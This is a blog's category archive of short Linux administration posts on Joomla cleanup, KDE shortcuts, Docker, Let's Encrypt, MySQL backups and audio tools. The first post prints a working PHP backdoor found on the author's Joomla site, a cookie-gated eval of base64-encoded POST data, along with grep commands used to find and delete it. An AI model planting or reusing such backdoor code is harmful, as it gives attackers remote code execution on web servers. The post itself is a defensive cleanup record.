Category Archives: Ubuntu

How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

Configuring input languages in KDE

If you need Russian language, for example, in KDE you go to System Settings->Input Devices->Keyboard, press Add button and select it:

KDE switch language

(more…)

How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)

I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:

KDE Settings

Running PHP 5.3/5.6 in a Docker container with Nginx on Ubuntu 16.04

The docker installation procedure depends on the system architecture that can be determined with the following commands:

cat /proc/cpuinfo
dpkg --print-architecture

After I installed Docker, I successfully run its test application:

docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
b04784fba78d: Pull complete
Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon.
2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
3. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it
to your terminal.

To try something more ambitious, you can run an Ubuntu container with:

docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://cloud.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/engine/userguide/

(more…)

Using “apitrace” with an OpenGL application

The basic commands for using apitrace with an OpenGL application are:

apitrace trace --api=gl MyApp
qapitrace MyApp.trace
apitrace dump --blobs MyApp.trace 

The last command generates blobs that can be inspected with the following command, for example:

tail -c $((12*10)) ~/repos/MyApp/build/blob_call2325.bin | xxd -g1

Or by writing a simple C++ program that converts them into CVS format:

(more…)

Securing Nginx with Let’s Encrypt on Ubuntu 16.04

First we need to install certbot utility:

apt-get install software-properties-common
add-apt-repository ppa:certbot/certbot
apt-get update
apt-get install python-certbot-nginx

After that, we can easily generate SSL certificates for all the domains listed in Nginx ‘server_name’ attributes in alive (working) virtual hosts. The examples are:

certbot --nginx certonly -d slogpost.ru -d www.slogpost.ru
certbot --nginx certonly -d psiholog-s-vami.ru -d www.psiholog-s-vami.ru
certbot certonly --nginx --cert-name sharlines.com -d sharlines.com -d www.sharlines.com
certbot certonly --nginx --cert-name developernote.com -d developernote.com -d www.developernote.com -d herb.developernote.com -d mastermag.developernote.com -d geographx.developernote.com -d geographx.net -d www.geographx.net -d xn--80acc2atiigge7h.xn--p1ai -d www.xn--80acc2atiigge7h.xn--p1ai -d git.developernote.com -d gitweb.developernote.com

(do not forget to run the commands above each time you add or remove a subdomain)

We cannot use wildcard domains line *.developernote.com with Let’s Encrypt, so we should list all the subdomains. And I do not see anything wrong in combining multiple domains in a single certificate.

To remove the certificate we do something like this:

certbot revoke --cert-path /etc/letsencrypt/live/developernote.com/fullchain.pem
certbot delete --cert-name developernote.com

Updating all the generated certificates:

certbot renew

After changing the website URL from HTTP to HTTPS, probably it makes a sense to update all the hyperlinks in MySQL database:

show tables;
show columns from wp_posts;
SELECT ID, post_title, post_date, post_name FROM wp_posts WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://slogpost.ru', 'https://slogpost.ru') WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://developernote.com', 'https://developernote.com') WHERE INSTR(post_content, 'http://developernote.com') <> 0;

The final step is adding certbot-renew.sh file to /etc/cron.monthly with the following content:

certbot renew
service squid reload

It seems like the service … command is completely ignored. Nothing in syslog, nothing in nginx logs. I switched to using

certbot renew
systemctl reload squid

instead, and this seems to work.

Backing up and restoring all the PHP MySQL websites on a Linux server

All the following commands assumes we saved MySQL root password into MROOTPASS variable:

export MROOTPASS=<mysql root password>

The most straight forward method to backup all the MySQL databases and all the website files (PHP scripts, images, etc..) stored in the /home directory is the following:

mysqldump --all-databases -u root -p$MROOTPASS | gzip > all-databases-$(date '+%Y-%m-%d_%H-%M-%S').sql.gz
tar -cvzf home.tar.gz /home

If we backup some individual database (probably not as root) and change its user while restoring it, it might make a sense to remove DEFINER from the output script:

sed -e 's/*]*\*/\*/'

The following commands restore all the websites from the archives:

gunzip -c all-databases-2017-05-23_15-31-00.sql.gz | mysql -u root -p$MROOTPASS
cd /
sudo tar -xvzf home.tar.gz

After migration from MySQL version  14.14 Distrib 5.5.54 to 14.14 Distrib 5.7.18 (I do not know what is the difference between them) I got the following error: “ERROR 1805 (HY000) at line 1: Column count of mysql.user is wrong. Expected 45, found 42. The table is probably corrupted” while trying to drop some user, and fixed it by running:

mysql_upgrade -u root -p$MROOTPASS
service mysql restart

How to rename multiple files in Linux

The following bash script renames all the files matching src_name.* with dst_name.*:

src_name=$1
dst_name=$2
unset $1
cp $src_name.* ~/temp/
cd ~/temp/
rename "s/$src_name\.([a-z]+)/$dst_name\.\$1/" *
cd -
mv ~/temp/$dst_name.* .

If you have some files like src1.h and src1.cpp, you can save this script into dupsource.sh file, for example, and then rename those files with src2.h and src2.cpp using the following command:

dupsource.sh src1 src2

The script requires ~/temp directory to exist and be writable.

What packages QAudioDecoder may require on Ubuntu and CentOS?

If QAudioDecoder does not decode mp3, reporting a format error (GStreamer; Unable to start decoding process), the following package can help:
On Ubuntu:

apt-get install gstreamer0.10-fluendo-mp3

On CentOS:

yum -y install http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-5.el7.nux.noarch.rpm
yum install gstreamer{,1}-plugins-ugly

(more…)

How to convert mp3 to wav in Ubuntu

Install sox tool with mp3 support:

apt-get install sox
apt-get install libsox-fmt-mp3
sox file.mp3 file.wav

Basically that is all, but if you need to check resulting wav file parameters like channels, sample rate, precision, duration, bit rate, etc…, use soxi command:
(more…)